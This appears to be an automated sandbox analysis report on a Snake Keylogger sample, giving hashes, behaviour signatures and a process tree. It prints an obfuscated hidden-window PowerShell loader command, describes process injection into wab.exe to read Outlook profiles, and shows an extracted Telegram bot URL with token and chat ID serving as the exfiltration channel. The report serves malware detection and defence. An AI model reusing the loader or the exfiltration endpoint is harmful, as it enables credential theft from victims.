Analysis
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max time kernel
117s -
max time network
118s -
platform
windows7_x64 -
resource
win7-20240704-en -
resource tags
arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system -
submitted
08-07-2024 10:46
Static task
static1
Behavioral task
behavioral1
Sample
Selvretfrdig.exe
Resource
win7-20240704-en
Behavioral task
behavioral2
Sample
Selvretfrdig.exe
Resource
win10v2004-20240704-en
Behavioral task
behavioral3
Sample
Selvretfrdig.exe
Resource
win11-20240704-en
General
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Target
Selvretfrdig.exe
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Size
389KB
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MD5
016b555049364f09f3d2f58fe88c28f7
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SHA1
48893b18559daa8392ff371117f799113c81c90d
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SHA256
f8aa18d4254a618c058dda0a2be332707f305795953a26402e7b5f791b778bf0
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SHA512
15ce409cdb879c30d14d6211127fa0d8f7cc22611b3c20906f70ef5da059dd769953441e4cd466b2b6c3f7a6124786f0c6f981abc75812f2a99d452bd1d3d586
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SSDEEP
6144:9M23AbpBWzrsx8NjZc+2xFLHUxxf5WMG8FtObeYv5JuvWLWC32jTMA3hJCQNUs:vGpQzQ8cLxFQtdG8Ftqvzh9pKJfNb
Malware Config
Extracted
snakekeylogger
https://api.telegram.org/bot7479517689:AAFZXzeEulm16gwWbLqx5RMoTeKEfX7e5jQ/sendMessage?chat_id=7071568333
Signatures
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Snake Keylogger
Keylogger and Infostealer first seen in November 2020.
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Snake Keylogger payload 2 IoCs
Processes:
resource yara_rule behavioral1/memory/2736-42-0x0000000000B00000-0x0000000001B62000-memory.dmp family_snakekeylogger behavioral1/memory/2736-43-0x0000000000B00000-0x0000000000B26000-memory.dmp family_snakekeylogger -
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
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Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
Processes:
wab.exedescription ioc process Key opened \REGISTRY\USER\S-1-5-21-3294248377-1418901787-4083263181-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 wab.exe Key opened \REGISTRY\USER\S-1-5-21-3294248377-1418901787-4083263181-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 wab.exe Key opened \REGISTRY\USER\S-1-5-21-3294248377-1418901787-4083263181-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 wab.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
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Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
Processes:
flow ioc 14 checkip.dyndns.org -
Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
Processes:
wab.exepid process 2736 wab.exe -
Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
Processes:
powershell.exewab.exepid process 1236 powershell.exe 2736 wab.exe -
Suspicious use of SetThreadContext 1 IoCs
Processes:
powershell.exedescription pid process target process PID 1236 set thread context of 2736 1236 powershell.exe wab.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Suspicious behavior: EnumeratesProcesses 10 IoCs
Processes:
powershell.exewab.exepid process 1236 powershell.exe 1236 powershell.exe 1236 powershell.exe 1236 powershell.exe 1236 powershell.exe 1236 powershell.exe 1236 powershell.exe 1236 powershell.exe 2736 wab.exe 2736 wab.exe -
Suspicious behavior: MapViewOfSection 1 IoCs
Processes:
powershell.exepid process 1236 powershell.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
Processes:
powershell.exewab.exedescription pid process Token: SeDebugPrivilege 1236 powershell.exe Token: SeDebugPrivilege 2736 wab.exe -
Suspicious use of WriteProcessMemory 10 IoCs
Processes:
Selvretfrdig.exepowershell.exedescription pid process target process PID 2144 wrote to memory of 1236 2144 Selvretfrdig.exe powershell.exe PID 2144 wrote to memory of 1236 2144 Selvretfrdig.exe powershell.exe PID 2144 wrote to memory of 1236 2144 Selvretfrdig.exe powershell.exe PID 2144 wrote to memory of 1236 2144 Selvretfrdig.exe powershell.exe PID 1236 wrote to memory of 2736 1236 powershell.exe wab.exe PID 1236 wrote to memory of 2736 1236 powershell.exe wab.exe PID 1236 wrote to memory of 2736 1236 powershell.exe wab.exe PID 1236 wrote to memory of 2736 1236 powershell.exe wab.exe PID 1236 wrote to memory of 2736 1236 powershell.exe wab.exe PID 1236 wrote to memory of 2736 1236 powershell.exe wab.exe -
outlook_office_path 1 IoCs
Processes:
wab.exedescription ioc process Key opened \REGISTRY\USER\S-1-5-21-3294248377-1418901787-4083263181-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 wab.exe -
outlook_win_path 1 IoCs
Processes:
wab.exedescription ioc process Key opened \REGISTRY\USER\S-1-5-21-3294248377-1418901787-4083263181-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 wab.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\Selvretfrdig.exe"C:\Users\Admin\AppData\Local\Temp\Selvretfrdig.exe"1⤵
- Suspicious use of WriteProcessMemory
PID:2144 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -windowstyle hidden "$Forsvrgelsen=Get-Content 'C:\Users\Admin\AppData\Roaming\annekskirkers\dommedagens\nonmenial\Sperlingkasserne.Gla';$Decubitus=$Forsvrgelsen.SubString(65564,3);.$Decubitus($Forsvrgelsen)"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1236 -
C:\Program Files (x86)\windows mail\wab.exe"C:\Program Files (x86)\windows mail\wab.exe"3⤵
- Accesses Microsoft Outlook profiles
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- outlook_office_path
- outlook_win_path
PID:2736
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
330KB
MD567bfad28d1127c53a9aac5c51b3b77b8
SHA1896af109b830f91baa527847b2cf968cba28b771
SHA25638c27304ea5dcdcdbf5214a38989559b4f2feb79b73d680ec96cf2e9e220225d
SHA5128eb928e4731dda023c4b253539cd5e6246bcdc2bdbbe74e2f745f129c829a64b04c7d746630eb66a504b417332ea42b6d9bfd987f4704cb51660750fbe467b8b
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Filesize
64KB
MD5c9035c38abb2f8b3e1255a2320926c2b
SHA129ee2663a1f9e8c907791957558b79dff166413c
SHA25692eca1cfe870c436907085d7d2d85ea69c5596d456a98224937d631cfaf4adc6
SHA5129b1f7655ec40cd92a873547bf7b8b03de824ee53bf2cbd516ec245e3cbc385e6659ce61ce5c94c1460877d697a42fbf1ee65db3abed1474c7aeec233208e89f7